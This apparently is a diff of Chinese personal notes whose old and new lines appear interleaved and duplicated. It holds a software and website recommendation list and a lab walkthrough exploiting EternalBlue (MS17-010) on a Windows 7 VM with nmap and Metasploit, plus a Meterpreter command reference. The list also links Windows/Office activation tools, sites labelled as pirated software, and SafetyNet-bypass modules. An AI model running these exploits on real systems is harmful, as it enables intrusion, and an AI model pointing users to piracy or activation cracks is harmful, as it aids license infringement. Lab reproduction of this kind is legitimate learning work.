* **ssh工具:**
|
||||
- [Office Tool Plus](https://otp.landian.vip/zh-cn/download.html) (office 下载)
|
||||
- [WAS](https://github.com/massgravel/Microsoft-Activation-Scripts) (windows/office 激活)
|
||||
- [HEU_KMS_Activator](https://github.com/zbezj/HEU_KMS_Activator/releases) (windows/office 激活)
|
||||
|
||||
* [tabby](https://github.com/Eugeny/tabby/tree/master)
|
||||
* [FinalShell](http://www.hostbuf.com/)
|
||||
* **adb工具:** [Platform Tools](https://developer.android.com/tools/releases/platform-tools?hl=zh-cn)
|
||||
* **科学上网工具:**
|
||||
- **下载器:** [IDM](https://www.internetdownloadmanager.com/)
|
||||
- **卸载工具:** [Geek](https://geekuninstaller.com/)
|
||||
- **文件搜索工具:** [Everything](https://www.voidtools.com/downloads/)
|
||||
- **电脑硬件检测:** [图吧工具箱](http://www.tbtool.cn/)
|
||||
- **浏览器:**
|
||||
|
||||
* [Clash for Windows](https://github.com/Z-Siqi/Clash-for-Windows_Chinese/releases)
|
||||
* [v2rayN](https://github.com/2dust/v2rayN/releases/)
|
||||
* [v2ray-rules-dat](https://github.com/Loyalsoldier/v2ray-rules-dat):V2Ray 路由规则文件加强版
|
||||
* **驱动管理:** [360驱动大师](http://dm.weishi.360.cn/home.html)
|
||||
* **运行库安装:** [NET Framework](https://dotnet.microsoft.com/zh-cn/download/dotnet-framework)
|
||||
* **任务栏透明工具:** [TranslucentTB](https://github.com/TranslucentTB/TranslucentTB#start-of-content) (应用商店可下载)
|
||||
* **壁纸软件:** [Wallpaper Engine](https://store.steampowered.com/app/431960/Wallpaper_Engine/)
|
||||
* **防火墙应用:**
|
||||
- [chrome](https://www.google.com/chrome/)
|
||||
- [Arc](https://arc.net/)
|
||||
- [百分浏览器](https://www.centbrowser.cn/)
|
||||
|
||||
* [360安全卫士极速版](https://weishi.360.cn/jisu/)
|
||||
* [火绒](https://www.huorong.cn/)
|
||||
- **ssh 工具:**
|
||||
|
||||
- [tabby](https://github.com/Eugeny/tabby/tree/master)
|
||||
- [FinalShell](http://www.hostbuf.com/)
|
||||
|
||||
- **adb 工具:** [Platform Tools](https://developer.android.com/tools/releases/platform-tools?hl=zh-cn)
|
||||
- **科学上网工具:**
|
||||
|
||||
- [Clash for Windows](https://github.com/Z-Siqi/Clash-for-Windows_Chinese/releases)
|
||||
- [v2rayN](https://github.com/2dust/v2rayN/releases/)
|
||||
- [v2ray-rules-dat](https://github.com/Loyalsoldier/v2ray-rules-dat):V2Ray 路由规则文件加强版
|
||||
|
||||
- **驱动管理:** [360 驱动大师](http://dm.weishi.360.cn/home.html)
|
||||
- **运行库安装:** [NET Framework](https://dotnet.microsoft.com/zh-cn/download/dotnet-framework)
|
||||
- **任务栏透明工具:** [TranslucentTB](https://github.com/TranslucentTB/TranslucentTB#start-of-content) (应用商店可下载)
|
||||
- **壁纸软件:** [Wallpaper Engine](https://store.steampowered.com/app/431960/Wallpaper_Engine/)
|
||||
- **防火墙应用:**
|
||||
|
||||
- [360 安全卫士极速版](https://weishi.360.cn/jisu/)
|
||||
- [火绒](https://www.huorong.cn/)
|
||||
|
||||
### Android 应用
|
||||
|
||||
---
|
||||
|
||||
* **下载器:** 1DM+
|
||||
* **安装器:** R-安装组件
|
||||
* **浏览器:**
|
||||
- **下载器:** 1DM+
|
||||
- **安装器:** R-安装组件
|
||||
- **浏览器:**
|
||||
|
||||
* [雨见浏览器国际版](https://yjllq.com/)
|
||||
* [Alook](https://www.alookweb.com/)
|
||||
* **文件管理器:** [MT管理器](https://mt2.cn/)
|
||||
* **网络工具:**
|
||||
- [雨见浏览器国际版](https://yjllq.com/)
|
||||
- [Alook](https://www.alookweb.com/)
|
||||
|
||||
* Cellular Pro
|
||||
* VPN热点
|
||||
* **科学上网:**
|
||||
- **文件管理器:** [MT 管理器](https://mt2.cn/)
|
||||
- **网络工具:**
|
||||
|
||||
* Surfboard
|
||||
* [v2rayNG](https://github.com/2dust/v2rayNG/releases)
|
||||
* **终端模拟器**:
|
||||
- Cellular Pro
|
||||
- VPN 热点
|
||||
|
||||
* [Termux](https://termux.dev/)
|
||||
* [ZeroTermux](https://github.com/hanxinhao000/ZeroTermux)
|
||||
* **Git 存储库管理工具:** [GitNex](https://gitnex.com/)
|
||||
* **视频播放器:**
|
||||
- **科学上网:**
|
||||
|
||||
* MX播放器专业版
|
||||
* XPlayer - 万能视频播放器
|
||||
* **服务器连接:**
|
||||
- Surfboard
|
||||
- [v2rayNG](https://github.com/2dust/v2rayNG/releases)
|
||||
|
||||
* [JuiceSSH](https://juicessh.com/)
|
||||
* RD客户端 (连接Windows)
|
||||
* [Termius](https://termius.com/)
|
||||
* **根目录整理:** [存储空间隔离](https://sr.rikka.app/)
|
||||
* **定位修改:** [Fake Location](https://github.com/Lerist/FakeLocation)
|
||||
* **将操作系统映像写入USB驱动器:** [EtchDroid](https://github.com/EtchDroid/EtchDroid)
|
||||
* **adb工具:**
|
||||
- **终端模拟器**:
|
||||
|
||||
* [搞机助手](https://gjzsr.com/)
|
||||
* 甲壳虫ADB助手
|
||||
* Bugjaeger Premium
|
||||
* [scene](https://github.com/kdrag0n/safetynet-fix/releases)
|
||||
* **Xposed软件**
|
||||
- [Termux](https://termux.dev/)
|
||||
- [ZeroTermux](https://github.com/hanxinhao000/ZeroTermux)
|
||||
|
||||
* **抖音增强:** [FreedomPlus](https://github.com/Xposed-Modules-Repo/io.github.fplus)
|
||||
* **bilibili增强:** [哔哩漫游](https://github.com/yujincheng08/BiliRoaming)
|
||||
* **微信增强:** [微x模块](https://github.com/Xposed-Modules-Repo/com.fkzhang.wechatxposed)
|
||||
* **QQ增强:** [QAuxiliary](https://github.com/Xposed-Modules-Repo/io.github.qauxv)
|
||||
* **识别短信验证码:** [XposedSmsCode](https://github.com/Xposed-Modules-Repo/com.github.tianma8023.xposed.smscode)
|
||||
* **Magisk模块管理:**
|
||||
- **Git 存储库管理工具:** [GitNex](https://gitnex.com/)
|
||||
- **视频播放器:**
|
||||
|
||||
* [LSPosed](https://github.com/LSPosed/LSPosed):已归档
|
||||
* 关闭SELinux
|
||||
* 停用HW叠加层模块
|
||||
* [Universal SafetyNet Fix](https://github.com/kdrag0n/safetynet-fix):绕过 Google 的 SafetyNet 认证
|
||||
* [Shamiko](https://github.com/LSPosed/LSPosed.github.io/releases):隐藏更多 Magisk 痕迹
|
||||
- MX 播放器专业版
|
||||
- XPlayer - 万能视频播放器
|
||||
|
||||
- **服务器连接:**
|
||||
|
||||
- [JuiceSSH](https://juicessh.com/)
|
||||
- RD 客户端 (连接 Windows)
|
||||
- [Termius](https://termius.com/)
|
||||
|
||||
- **根目录整理:** [存储空间隔离](https://sr.rikka.app/)
|
||||
- **定位修改:** [Fake Location](https://github.com/Lerist/FakeLocation)
|
||||
- **将操作系统映像写入 USB 驱动器:** [EtchDroid](https://github.com/EtchDroid/EtchDroid)
|
||||
- **adb 工具:**
|
||||
|
||||
- [搞机助手](https://gjzsr.com/)
|
||||
- 甲壳虫 ADB 助手
|
||||
- Bugjaeger Premium
|
||||
- [scene](https://github.com/kdrag0n/safetynet-fix/releases)
|
||||
|
||||
- **Xposed 软件**
|
||||
|
||||
- **抖音增强:** [FreedomPlus](https://github.com/Xposed-Modules-Repo/io.github.fplus)
|
||||
- **bilibili 增强:** [哔哩漫游](https://github.com/yujincheng08/BiliRoaming)
|
||||
- **微信增强:** [微 x 模块](https://github.com/Xposed-Modules-Repo/com.fkzhang.wechatxposed)
|
||||
- **QQ 增强:** [QAuxiliary](https://github.com/Xposed-Modules-Repo/io.github.qauxv)
|
||||
- **识别短信验证码:** [XposedSmsCode](https://github.com/Xposed-Modules-Repo/com.github.tianma8023.xposed.smscode)
|
||||
|
||||
- **Magisk 模块管理:**
|
||||
|
||||
- [LSPosed](https://github.com/LSPosed/LSPosed):已归档
|
||||
- 关闭 SELinux
|
||||
- 停用 HW 叠加层模块
|
||||
- [Universal SafetyNet Fix](https://github.com/kdrag0n/safetynet-fix):绕过 Google 的 SafetyNet 认证
|
||||
- [Shamiko](https://github.com/LSPosed/LSPosed.github.io/releases):隐藏更多 Magisk 痕迹
|
||||
|
||||
### 浏览器插件
|
||||
|
||||
---
|
||||
|
||||
* [AdGuard](https://adguard.com/zh_cn/adguard-browser-extension/overview.html):广告拦截程序
|
||||
* [篡改猴](https://www.tampermonkey.net/index.php?browser=chrome&locale=zh):脚本管理器
|
||||
* [猫抓](https://o2bmm.gitbook.io/cat-catch):资源嗅探
|
||||
* [图片助手(ImageAssistant)](https://www.pullywood.com/ImageAssistant/):嗅探、分析网页图片、图片筛选
|
||||
* [Circle 阅读助手](http://www.circlereader.com/):提取并排版网页内容
|
||||
* [Global Speed](https://chrome.google.com/webstore/detail/global-speed/jpbjcnkcffbooppibceonlgknpkniiff?hl=zh-CN):速度控制
|
||||
* [ColorZilla](https://www.colorzilla.com/zh-cn/):拾色器
|
||||
* [Selenium IDE](https://www.selenium.dev/zh-cn/documentation/ide/):记录和回放用户操作
|
||||
* [Floccus](https://floccus.org/download):同步书签和标签
|
||||
* [沉浸式翻译:](https://immersivetranslate.com/) 网页翻译
|
||||
- [AdGuard](https://adguard.com/zh_cn/adguard-browser-extension/overview.html):广告拦截程序
|
||||
- [篡改猴](https://www.tampermonkey.net/index.php?browser=chrome&locale=zh):脚本管理器
|
||||
- [猫抓](https://o2bmm.gitbook.io/cat-catch):资源嗅探
|
||||
- [图片助手(ImageAssistant)](https://www.pullywood.com/ImageAssistant/):嗅探、分析网页图片、图片筛选
|
||||
- [Circle 阅读助手](http://www.circlereader.com/):提取并排版网页内容
|
||||
- [Global Speed](https://chrome.google.com/webstore/detail/global-speed/jpbjcnkcffbooppibceonlgknpkniiff?hl=zh-CN):速度控制
|
||||
- [ColorZilla](https://www.colorzilla.com/zh-cn/):拾色器
|
||||
- [Selenium IDE](https://www.selenium.dev/zh-cn/documentation/ide/):记录和回放用户操作
|
||||
- [Floccus](https://floccus.org/download):同步书签和标签
|
||||
- [沉浸式翻译:](https://immersivetranslate.com/) 网页翻译
|
||||
|
||||
### Docker 应用
|
||||
|
||||
---
|
||||
|
||||
* [vaultwarden](https://github.com/dani-garcia/vaultwarden):密码管理器,[Bitwarden](https://bitwarden.com/)的第三方 Docker 项目。
|
||||
* [AList](https://alist.nn.ci/zh/):支持多种文件储存,支持 WebDAV
|
||||
* [思源笔记](https://b3log.org/siyuan/):支持web端
|
||||
* [Gitea](https://about.gitea.com/):支持基于 Git 创建和管理存储库
|
||||
* [Nginx Proxy Manager](https://nginxproxymanager.com/):Nginx 代理管理器
|
||||
* [雷池](https://waf-ce.chaitin.cn/):基于Nginx开发的Web 应用防火墙
|
||||
- [vaultwarden](https://github.com/dani-garcia/vaultwarden):密码管理器,[Bitwarden](https://bitwarden.com/)的第三方 Docker 项目。
|
||||
- [AList](https://alist.nn.ci/zh/):支持多种文件储存,支持 WebDAV
|
||||
- [思源笔记](https://b3log.org/siyuan/):支持 web 端
|
||||
- [Gitea](https://about.gitea.com/):支持基于 Git 创建和管理存储库
|
||||
- [Nginx Proxy Manager](https://nginxproxymanager.com/):Nginx 代理管理器
|
||||
- [雷池](https://waf-ce.chaitin.cn/):基于 Nginx 开发的 Web 应用防火墙
|
||||
|
||||
### Linux 应用
|
||||
|
||||
---
|
||||
|
||||
* [OpenSSH](https://www.openssh.com/):SSH连接工具
|
||||
* `Wget` `curl`:从网络上获取或发送数据
|
||||
* [vim](https://www.vim.org/):文本编辑器
|
||||
* [Git](https://git-scm.com/):分布式版本控制系统
|
||||
* [Zsh](https://www.zsh.org/):是一款功能强大、灵活可定制的shell
|
||||
* [哪吒面板](https://nezha.wiki/):服务器监控与运维工具
|
||||
* [screenfetch](https://github.com/KittyKatt/screenFetch):屏幕截图
|
||||
* [X-CMD](https://cn.x-cmd.com/):命令增强和扩展
|
||||
* 镜像仓库:
|
||||
- [OpenSSH](https://www.openssh.com/):SSH 连接工具
|
||||
- `Wget` `curl`:从网络上获取或发送数据
|
||||
- [vim](https://www.vim.org/):文本编辑器
|
||||
- [Git](https://git-scm.com/):分布式版本控制系统
|
||||
- [Zsh](https://www.zsh.org/):是一款功能强大、灵活可定制的 shell
|
||||
- [哪吒面板](https://nezha.wiki/):服务器监控与运维工具
|
||||
- [screenfetch](https://github.com/KittyKatt/screenFetch):屏幕截图
|
||||
- [X-CMD](https://cn.x-cmd.com/):命令增强和扩展
|
||||
- 镜像仓库:
|
||||
|
||||
* [中科大开源软件镜像站](https://mirrors.ustc.edu.cn/)
|
||||
* [阿里巴巴开源镜像站](https://developer.aliyun.com/mirror/)
|
||||
* [网易开源镜像站](https://mirrors.163.com/)
|
||||
* [腾讯软件源](https://mirrors.cloud.tencent.com/)
|
||||
* [华为开源镜像站](https://mirrors.huaweicloud.com/home)
|
||||
* [移动云开源镜像站](https://mirrors.cmecloud.cn/)
|
||||
* [清华大学开源软件镜像站](https://mirrors.tuna.tsinghua.edu.cn/)
|
||||
- [中科大开源软件镜像站](https://mirrors.ustc.edu.cn/)
|
||||
- [阿里巴巴开源镜像站](https://developer.aliyun.com/mirror/)
|
||||
- [网易开源镜像站](https://mirrors.163.com/)
|
||||
- [腾讯软件源](https://mirrors.cloud.tencent.com/)
|
||||
- [华为开源镜像站](https://mirrors.huaweicloud.com/home)
|
||||
- [移动云开源镜像站](https://mirrors.cmecloud.cn/)
|
||||
- [清华大学开源软件镜像站](https://mirrors.tuna.tsinghua.edu.cn/)
|
||||
|
||||
### 可被托管的应用
|
||||
|
||||
---
|
||||
|
||||
* [CF-Workers-docker.io](https://github.com/cmliu/CF-Workers-docker.io):使用CF-workersDocker仓库镜像代理工具
|
||||
* [Cloudflare Proxy EX](https://github.com/1234567yang/cf-proxy-ex):使用CF-workers搭建代理
|
||||
* [Vercel 部署 Hugo 站点](https://vercel.com/guides/deploying-hugo-with-vercel)
|
||||
- [CF-Workers-docker.io](https://github.com/cmliu/CF-Workers-docker.io):使用 CF-workersDocker 仓库镜像代理工具
|
||||
- [Cloudflare Proxy EX](https://github.com/1234567yang/cf-proxy-ex):使用 CF-workers 搭建代理
|
||||
- [Vercel 部署 Hugo 站点](https://vercel.com/guides/deploying-hugo-with-vercel)
|
||||
|
||||
### 网站
|
||||
|
||||
---
|
||||
|
||||
* 盗版软件:
|
||||
- 盗版软件:
|
||||
|
||||
* [CyberMania](https://www.cybermania.ws/)
|
||||
* [果核剥壳](https://www.ghxi.com/)
|
||||
* 单价游戏:
|
||||
- [CyberMania](https://www.cybermania.ws/)
|
||||
- [果核剥壳](https://www.ghxi.com/)
|
||||
|
||||
* [土豆资源库](http://tdtd.chat/index)
|
||||
* [3DMGAME](https://bbs.3dmgame.com/forum.php)
|
||||
- 单价游戏:
|
||||
|
||||
- [土豆资源库](http://tdtd.chat/index)
|
||||
- [3DMGAME](https://bbs.3dmgame.com/forum.php)
|
||||
|
@ -22,5 +22,5 @@ tags: []
|
||||
|
||||
[VPN 热点](https://lsy22.lanzouj.com/iS9hw0hz5rfa?password=lsy22)
|
||||
|
||||
1. 打开 *VPN 热点* 给予 root 权限
|
||||
2. 将 *WLAN 热点* 打开,打开后会多一个 *wlan1*,将 *wlan1* 打开就可以实现 VPN 热点了
|
||||
1. 打开 _VPN 热点_ 给予 root 权限
|
||||
2. 将 _WLAN 热点_ 打开,打开后会多一个 _wlan1_,将 _wlan1_ 打开就可以实现 VPN 热点了
|
||||
|
@ -16,7 +16,7 @@ tags: []
|
||||
### 切换安卓
|
||||
|
||||
1. 进入 fastboot 模式
|
||||
2. 用一个 root 的手机连接一加6T
|
||||
2. 用一个 root 的手机连接一加 6T
|
||||
3. 在 root 手机上打开 [搞机助手](https://lsy22.lanzouq.com/il8M0z5c6oh?w1)
|
||||
4. 选择全部 - otg 功能区 - fastboot 功能区切换 - 切换 a/b 分区 - 选择分区 A
|
||||
5. 重启到 a 分区
|
||||
|
@ -4,35 +4,35 @@ date: 2023-07-12T23:39:00+08:00
|
||||
tags: []
|
||||
---
|
||||
|
||||
## Google服务框架
|
||||
## Google 服务框架
|
||||
|
||||
下载地址:[`https://www.apkmirror.com/apk/google-inc/google-services-framework/`](https://www.apkmirror.com/apk/google-inc/google-services-framework/)
|
||||
|
||||
首先点击上边的网站,到Google服务框架程序的发布地址,然后找到和自己手机的安卓版本相匹配的版本。
|
||||
选择noDPI的版本
|
||||
首先点击上边的网站,到 Google 服务框架程序的发布地址,然后找到和自己手机的安卓版本相匹配的版本。
|
||||
选择 noDPI 的版本
|
||||
|
||||
关于ARM版本:
|
||||
**一般近两年发布的手机,ARM版本都是ARMv8。如果是老手机,可以先搜一下自己的ARM版本。
|
||||
也可以直接下载universal版本,也就是兼容v8和v7的版本。**
|
||||
关于 ARM 版本:
|
||||
**一般近两年发布的手机,ARM 版本都是 ARMv8。如果是老手机,可以先搜一下自己的 ARM 版本。
|
||||
也可以直接下载 universal 版本,也就是兼容 v8 和 v7 的版本。**
|
||||
|
||||
## Google Play Service
|
||||
|
||||
下载地址:[`https://www.apkmirror.com/apk/google-inc/google-play-services/`](https://www.apkmirror.com/apk/google-inc/google-play-services/)
|
||||
|
||||
首先点击上边的网站,到Google Play Service的发布地址,然后找到和自己手机的安卓版本相匹配的版本。
|
||||
那么就选择noDPI的版本
|
||||
首先点击上边的网站,到 Google Play Service 的发布地址,然后找到和自己手机的安卓版本相匹配的版本。
|
||||
那么就选择 noDPI 的版本
|
||||
|
||||
关于ARM版本:
|
||||
**一般近两年发布的手机,ARM版本都是ARMv8。如果是老手机,可以先搜一下自己的ARM版本。
|
||||
也可以直接下载universal版本,也就是兼容v8和v7的版本。**
|
||||
关于 ARM 版本:
|
||||
**一般近两年发布的手机,ARM 版本都是 ARMv8。如果是老手机,可以先搜一下自己的 ARM 版本。
|
||||
也可以直接下载 universal 版本,也就是兼容 v8 和 v7 的版本。**
|
||||
|
||||
## Google Play Store
|
||||
|
||||
下载地址:[`https://www.apkmirror.com/apk/google-inc/google-play-store/`](https://www.apkmirror.com/apk/google-inc/google-play-store/)
|
||||
|
||||
首先点击上边的网站,到Google Play Store的发布地址,然后找到和自己手机的安卓版本相匹配的版本。
|
||||
选择noDPI的版本
|
||||
首先点击上边的网站,到 Google Play Store 的发布地址,然后找到和自己手机的安卓版本相匹配的版本。
|
||||
选择 noDPI 的版本
|
||||
|
||||
关于ARM版本:
|
||||
**一般近两年发布的手机,ARM版本都是ARMv8。如果是老手机,可以先搜一下自己的ARM版本。
|
||||
也可以直接下载universal版本,也就是兼容v8和v7的版本。**
|
||||
关于 ARM 版本:
|
||||
**一般近两年发布的手机,ARM 版本都是 ARMv8。如果是老手机,可以先搜一下自己的 ARM 版本。
|
||||
也可以直接下载 universal 版本,也就是兼容 v8 和 v7 的版本。**
|
||||
|
@ -8,7 +8,7 @@ tags: []
|
||||
|
||||
#### 1. 漏洞描述
|
||||
|
||||
Eternalblue通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞,恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。
|
||||
Eternalblue 通过 TCP 端口 445 和 139 来利用 SMBv1 和 NBT 中的远程代码执行漏洞,恶意代码会扫描开放 445 文件共享端口的 Windows 机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。
|
||||
|
||||
#### 2.漏洞影响
|
||||
|
||||
@ -16,20 +16,20 @@ Eternalblue通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行
|
||||
|
||||
### 二. 复现环境
|
||||
|
||||
* 虚拟环境搭建:`VMware Workstation 17 pro`
|
||||
- 虚拟环境搭建:`VMware Workstation 17 pro`
|
||||
|
||||
* 网络模式:`NAT`
|
||||
- 网络模式:`NAT`
|
||||
|
||||
* 攻击机:`kali Linux WSL`
|
||||
* 攻击机IP:`192.168.97.173`
|
||||
* 攻击工具:`nmap` `metasploit(MSF)`
|
||||
- 攻击机:`kali Linux WSL`
|
||||
- 攻击机 IP:`192.168.97.173`
|
||||
- 攻击工具:`nmap` `metasploit(MSF)`
|
||||
|
||||
* 靶机:`cn_windows_7_ultimate_with_sp1_x64_dvd_u_677408`(**前提win7关闭防火墙**)
|
||||
* 靶机IP:`192.168.97.128`
|
||||
- 靶机:`cn_windows_7_ultimate_with_sp1_x64_dvd_u_677408`(**前提 win7 关闭防火墙**)
|
||||
- 靶机 IP:`192.168.97.128`
|
||||
|
||||
### 三. 启动 MSF
|
||||
|
||||
1. 安装MSF
|
||||
1. 安装 MSF
|
||||
|
||||
```bash
|
||||
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \chmod 755 msfinstall && \./msfinstall
|
||||
@ -49,37 +49,39 @@ Eternalblue通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行
|
||||
|
||||
### 四. 寻找主机
|
||||
|
||||
* **ipconfig**
|
||||
- **ipconfig**
|
||||
|
||||
使用`ipconfig`分别查看win7和kali中的ip地址
|
||||
* **nmap**
|
||||
使用`ipconfig`分别查看 win7 和 kali 中的 ip 地址
|
||||
|
||||
- **nmap**
|
||||
|
||||
```bash
|
||||
nmap -T5 -sP 192.168.97.0/24
|
||||
```
|
||||
|
||||
* **`-T5`**:使用速度模板**`T5`**,表示激进的扫描速度。
|
||||
* **`-sP`**:执行 Ping 连接扫描。
|
||||
* **`192.168.97.0/24`**:扫描指定的 IP 地址范围。
|
||||
- **`-T5`**:使用速度模板**`T5`**,表示激进的扫描速度。
|
||||
- **`-sP`**:执行 Ping 连接扫描。
|
||||
- **`192.168.97.0/24`**:扫描指定的 IP 地址范围。
|
||||
|
||||
| IP地址 | 私有ip范围 | 子网掩码 | CIDR |
|
||||
| --------- | :----------------------------- | :-------------- | :--------------- |
|
||||
| A类地址 | 10.0.0.0~10.255.255.255 | 255.0.0.0 | 10.0.0.0/8 |
|
||||
| B类地址 | 172.16.0.0~173.31.255.255 | 255.255.0.0 | 172.16.0.0/16 |
|
||||
| C类地址 | 192.168.0.0~192.168.255.255 | 255.255.255.0 | 192.168.0.0/24 |
|
||||
| IP 地址 | 私有 ip 范围 | 子网掩码 | CIDR |
|
||||
| -------- | :----------------------------- | :------------ | :------------- |
|
||||
| A 类地址 | 10.0.0.0 ~ 10.255.255.255 | 255.0.0.0 | 10.0.0.0/8 |
|
||||
| B 类地址 | 172.16.0.0 ~ 173.31.255.255 | 255.255.0.0 | 172.16.0.0/16 |
|
||||
| C 类地址 | 192.168.0.0 ~ 192.168.255.255 | 255.255.255.0 | 192.168.0.0/24 |
|
||||
|
||||
### 五. 端口扫描
|
||||
|
||||
* **nmap**
|
||||
- **nmap**
|
||||
|
||||
```bash
|
||||
nmap -T5 -sT 192.168.97.128
|
||||
```
|
||||
|
||||
* **`-T5`**:使用速度模板**`T5`**,表示激进的扫描速度。
|
||||
* **`-sT`**:执行 TCP 连接扫描。
|
||||
* **`192.168.97.128`**:扫描指定的 IP
|
||||
* **MSF** 端口扫描
|
||||
- **`-T5`**:使用速度模板**`T5`**,表示激进的扫描速度。
|
||||
- **`-sT`**:执行 TCP 连接扫描。
|
||||
- **`192.168.97.128`**:扫描指定的 IP
|
||||
|
||||
- **MSF** 端口扫描
|
||||
|
||||
1. 使用模块
|
||||
|
||||
@ -87,7 +89,7 @@ Eternalblue通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行
|
||||
use auxiliary/scanner/portscan/tcp
|
||||
```
|
||||
|
||||
2. 设置扫描ip
|
||||
2. 设置扫描 ip
|
||||
|
||||
```bash
|
||||
set rhosts 192.168.97.128
|
||||
@ -109,27 +111,30 @@ search ms17_010
|
||||
|
||||
1. `exploit/windows/smb/ms17_010_eternalblue`
|
||||
|
||||
* 这个模块利用了MS17-010漏洞,通过EternalBlue攻击载荷,远程执行代码。
|
||||
* EternalBlue利用Windows的Server Message Block(SMB)协议中的漏洞,允许攻击者在目标机器上执行任意代码。
|
||||
* 攻击成功后,通常会在目标机器上生成一个Meterpreter会话,从而允许进一步的渗透测试操作。
|
||||
- 这个模块利用了 MS17-010 漏洞,通过 EternalBlue 攻击载荷,远程执行代码。
|
||||
- EternalBlue 利用 Windows 的 Server Message Block(SMB)协议中的漏洞,允许攻击者在目标机器上执行任意代码。
|
||||
- 攻击成功后,通常会在目标机器上生成一个 Meterpreter 会话,从而允许进一步的渗透测试操作。
|
||||
|
||||
2. `exploit/windows/smb/ms17_010_psexec`
|
||||
|
||||
* 这个模块结合MS17-010漏洞和Psexec技术,通过SMB协议在目标系统上执行命令。
|
||||
* 利用MS17-010漏洞进行初始攻击,然后使用Psexec进行进一步的远程命令执行。
|
||||
* 适用于在利用MS17-010漏洞后希望使用Psexec执行进一步的命令和控制操作时。
|
||||
- 这个模块结合 MS17-010 漏洞和 Psexec 技术,通过 SMB 协议在目标系统上执行命令。
|
||||
- 利用 MS17-010 漏洞进行初始攻击,然后使用 Psexec 进行进一步的远程命令执行。
|
||||
- 适用于在利用 MS17-010 漏洞后希望使用 Psexec 执行进一步的命令和控制操作时。
|
||||
|
||||
3. `auxiliary/admin/smb/ms17_010_command`
|
||||
|
||||
* 这个辅助模块用于通过MS17-010漏洞在目标系统上执行指定的命令。
|
||||
* 不会生成一个持久的会话,而是直接执行特定的命令并返回结果。
|
||||
* 适用于希望通过MS17-010漏洞在目标系统上执行单个命令的场景。
|
||||
- 这个辅助模块用于通过 MS17-010 漏洞在目标系统上执行指定的命令。
|
||||
- 不会生成一个持久的会话,而是直接执行特定的命令并返回结果。
|
||||
- 适用于希望通过 MS17-010 漏洞在目标系统上执行单个命令的场景。
|
||||
|
||||
4. `auxiliary/scanner/smb/smb_ms17_010`
|
||||
|
||||
* 这个辅助模块用于扫描目标系统是否存在MS17-010漏洞。
|
||||
* 不会进行实际的漏洞利用或攻击,而是仅检测目标系统是否易受MS17-010漏洞的影响。
|
||||
- 这个辅助模块用于扫描目标系统是否存在 MS17-010 漏洞。
|
||||
- 不会进行实际的漏洞利用或攻击,而是仅检测目标系统是否易受 MS17-010 漏洞的影响。
|
||||
|
||||
### 七. 漏洞检测
|
||||
|
||||
* 使用探测模块
|
||||
- 使用探测模块
|
||||
|
||||
1. 使用`Auxiliary`辅助探测模块
|
||||
|
||||
@ -161,7 +166,7 @@ search ms17_010
|
||||
run
|
||||
```
|
||||
|
||||
* nmap
|
||||
- nmap
|
||||
|
||||
```bash
|
||||
nmap --script smb-vuln-ms17-010 192.168.97.128
|
||||
@ -193,7 +198,7 @@ search ms17_010
|
||||
run
|
||||
```
|
||||
|
||||
### Meterpreter的命令用法
|
||||
### Meterpreter 的命令用法
|
||||
|
||||
```bash
|
||||
==========================================
|
||||
@ -370,33 +375,33 @@ timestomp 操作文件 MACE 属性
|
||||
|
||||
#### 基础使用
|
||||
|
||||
* 进入框架
|
||||
- 进入框架
|
||||
|
||||
```bash
|
||||
msfconsole
|
||||
```
|
||||
|
||||
* 查找漏洞
|
||||
- 查找漏洞
|
||||
|
||||
```bash
|
||||
search 漏洞编号
|
||||
```
|
||||
|
||||
* 使用模块
|
||||
- 使用模块
|
||||
|
||||
```bash
|
||||
run
|
||||
```
|
||||
|
||||
#### Meterpreter工作原理
|
||||
#### Meterpreter 工作原理
|
||||
|
||||
> 首先目标先要执行初始的溢出漏洞会话连接,可能是 bind正向连接,或者反弹 reverse 连接。反射连接的时候加载dll链接文件,同时后台悄悄处理 dll 文件。其次Meterpreter核心代码初始化,通过 socket套接字建立一个TLS/1.0加密隧道并发送GET请求给Metasploit服务端。Metasploit服务端收到这个GET请求后就配置相应客户端。最后,Meterpreter加载扩展,所有的扩展被加载都通过TLS/1.0进行数据传输。
|
||||
> 首先目标先要执行初始的溢出漏洞会话连接,可能是 bind 正向连接,或者反弹 reverse 连接。反射连接的时候加载 dll 链接文件,同时后台悄悄处理 dll 文件。其次 Meterpreter 核心代码初始化,通过 socket 套接字建立一个 TLS/1.0 加密隧道并发送 GET 请求给 Metasploit 服务端。Metasploit 服务端收到这个 GET 请求后就配置相应客户端。最后,Meterpreter 加载扩展,所有的扩展被加载都通过 TLS/1.0 进行数据传输。
|
||||
|
||||
#### 漏洞利用(exploit)
|
||||
|
||||
> 漏洞利用exploit,也就是我们常说的exp,他就是对漏洞进行攻击的代码。
|
||||
> 漏洞利用 exploit,也就是我们常说的 exp,他就是对漏洞进行攻击的代码。
|
||||
|
||||
exploit漏洞利用模块路径(这里面有针对不同平台的exploit):
|
||||
exploit 漏洞利用模块路径(这里面有针对不同平台的 exploit):
|
||||
|
||||
```php
|
||||
/usr/share/metasploit-framework/modules/exploits
|
||||
@ -404,52 +409,51 @@ exploit漏洞利用模块路径(这里面有针对不同平台的exploit):
|
||||
|
||||
#### 攻击载荷(payload)
|
||||
|
||||
> Payload:Payload中包含攻击进入目标主机后需要在远程系统中运行的恶意代码,而在Metasploit中Payload是一种特殊模块,它们能够以漏洞利用模块运行,并能够利用目标系统中的安全漏洞实施攻击。简而言之,这种漏洞利用模块可以访问目标系统,而其中的代码定义了Payload在目标系统中的行为。
|
||||
> Payload:Payload 中包含攻击进入目标主机后需要在远程系统中运行的恶意代码,而在 Metasploit 中 Payload 是一种特殊模块,它们能够以漏洞利用模块运行,并能够利用目标系统中的安全漏洞实施攻击。简而言之,这种漏洞利用模块可以访问目标系统,而其中的代码定义了 Payload 在目标系统中的行为。
|
||||
>
|
||||
> Shellcode:Shellcode是payload中的精髓部分,在渗透攻击时作为攻击载荷运行的一组机器指令。Shellcode通常用汇编语言编写。在大多数情况下,目标系统执行了shellcode这一组指令之后,才会提供一个命令行shell。
|
||||
